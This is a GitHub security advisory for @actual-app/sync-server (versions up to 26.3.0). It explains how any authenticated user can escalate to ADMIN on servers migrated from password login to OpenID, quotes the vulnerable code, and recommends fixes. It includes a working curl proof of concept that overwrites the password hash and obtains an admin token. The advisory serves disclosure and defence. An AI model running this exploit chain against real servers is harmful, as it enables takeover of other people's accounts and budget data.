Privilege Escalation via 'change-password' Endpoint on OpenID-Migrated Servers

High **MatissJanis** published **GHSA-prp4-2f49-fcgp** yesterday

Package

@actual-app/sync-server (npm)

Affected versions

<=26.3.0

Patched versions

>= 26.4.0

Description

Summary

Any authenticated user (including `BASIC` role) can escalate to `ADMIN` on servers migrated from password authentication to OpenID Connect. Three weaknesses combine: `POST /account/change-password` has no authorization check, allowing any session to overwrite the password hash; the inactive password `auth` row is never removed on migration; and the login endpoint accepts a client-supplied `loginMethod` that bypasses the server's active auth configuration. Together these allow an attacker to set a known password and authenticate as the anonymous admin account created during the multiuser migration.

Details

`packages/sync-server/src/app-account.js:120-132` — the `/account/change-password` route validates only that a session exists. No admin role check is performed

```
app.post('/change-password', (req, res) => {
  const session = validateSession(req, res); // only checks token validity
  if (!session) return;
  const { error } = changePassword(req.body.password); // no isAdmin() check
```

`packages/sync-server/src/accounts/password.js:113-125` — `changePassword()` updates the hash with no current-password confirmation:

```
export function changePassword(newPassword) {
  accountDb.mutate("UPDATE auth SET extra_data = ? WHERE method = 'password'", [ha...])
}
```

`packages/sync-server/src/accounts/password.js:56-62` — `loginWithPassword()` always authenticates as the user with `user_name = ''`, which is created by the multiuser migration with `role = 'ADMIN'`:

```
const sessionRow = accountDb.first(
  'SELECT * FROM sessions WHERE auth_method = ?', ['password']
);
```

`packages/sync-server/src/account-db.js:56-63` — a client can force the `password` login method regardless of server configuration by sending `loginMethod` in the request body:

```
if (req.body.loginMethod && config.get('allowedLoginMethods').includes(req.body.lo t
  return req.body.loginMethod;
}
```

When a server is migrated from password → OpenID via `enableOpenID()`, the password row is set to `active = 0` but **never deleted**, leaving it available for exploitation.

PoC

Prerequisites: Server originally bootstrapped with password auth, then switched to OpenID. Default `allowedLoginMethods` configuration (includes `password`). Attacker has any valid OpenID session token (any role).

```
# Step 1 — overwrite the password hash using a BASIC-role session
curl -s -X POST https://<host>/account/change-password \
  -H "Content-Type: application/json" \
  -H "X-Actual-Token: <any_valid_session_token>" \
  -d '{"password": "attacker123"}'
# → {"status":"ok","data":{}}

# Step 2 — log in via password method to obtain an ADMIN session
curl -s -X POST https://<host>/account/login \
  -H "Content-Type: application/json" \
  -d '{"loginMethod": "password", "password": "attacker123"}'
# → {"status":"ok","data":{"token":"<admin_token>"}}
```

The returned token belongs to the `user_name = ''` admin account (created by `1719409568000-multiuser.js`).

Verify admin access:

```
curl -s https://<host>/account/validate \
  -H "X-Actual-Token: <admin_token>"
# → {"status":"ok","data":{"permission":"ADMIN", ...}}
```

Impact

Privilege escalation — any authenticated user can gain full `ADMIN` access on affected deployments. An ADMIN can manage all users, access all budget files regardless of ownership, modify file access controls, and change server configuration.

Affected deployments: multi-user servers running OpenID Connect that were previously configured with password authentication. Servers bootstrapped exclusively with OpenID from initial setup are not affected (no password row exists in the `auth` table).

Recommendations

1. Restrict `POST /account/change-password` to password-authenticated sessions only (`packages/sync-server/src/app-account.js`)

The endpoint should reject requests from sessions that were authenticated via OpenID. The active auth method can be checked against the session's `auth_method` field or by querying the `auth` table for the currently active method. If the server is running in OpenID mode, this endpoint should return `403 Forbidden`.

2. Require current-password confirmation before accepting a new password (`packages/sync-server/src/accounts/password.js`)

`changePassword()` should accept the current password as a parameter and verify it against the stored hash before applying the update. This prevents any session (even a legitimate password session) from silently overwriting the credential without proving possession of the existing one.

3. Enforce `active` status and remove client control over login method selection (`packages/sync-server/src/account-db.js` — `getLoginMethod()`)

Two issues exist in `getLoginMethod()`: (a) a client can supply `loginMethod` in the request body to select any method listed in `allowedLoginMethods`, regardless of whether it is currently active on the server; (b) the function does not check the `active` column, so an administratively disabled method (e.g. `password` after migrating to OpenID) remains accessible. The fix is to determine the permitted method server-side from `WHERE active = 1` in the `auth` table and ignore any client-supplied `loginMethod` override entirely. Servers intentionally running both methods simultaneously can be supported by allowing multiple `active = 1` rows rather than relying on client input.

4. Immediate mitigation for existing deployments (OpenID-only servers)

Administrators who have fully migrated to OpenID and do not need password auth can remove the orphaned row:

```
DELETE FROM auth WHERE method = 'password';
```

The three weaknesses form a single, sequential exploit chain — none produces privilege escalation on its own:

Missing authorization on POST /change-password — allows overwriting a password hash, but only matters if there is an orphaned row to target.
Orphaned password row persisting after migration — provides the target row, but is harmless without the ability to authenticate using it.
Client-controlled loginMethod: "password" — allows forcing password-based auth, but is useless without a known hash established by step 1.

All three must be chained in sequence to achieve the impact. No single weakness independently results in privilege escalation, which under CVE CNA rule 4.1.2 means they should not each be treated as standalone vulnerabilities.
The single root cause is the missing authorization check on /change-password; the other two are preconditions that make it exploitable. A single CVE reflecting that root cause is the appropriate representation — splitting them would falsely imply each carries independent risk.

Severity

High 8.8 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Unchanged

Confidentiality	High
Integrity	High
Availability	High

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-33318

Weaknesses

- CWE-284
- CWE-862

Credits

Rex50527 Reporter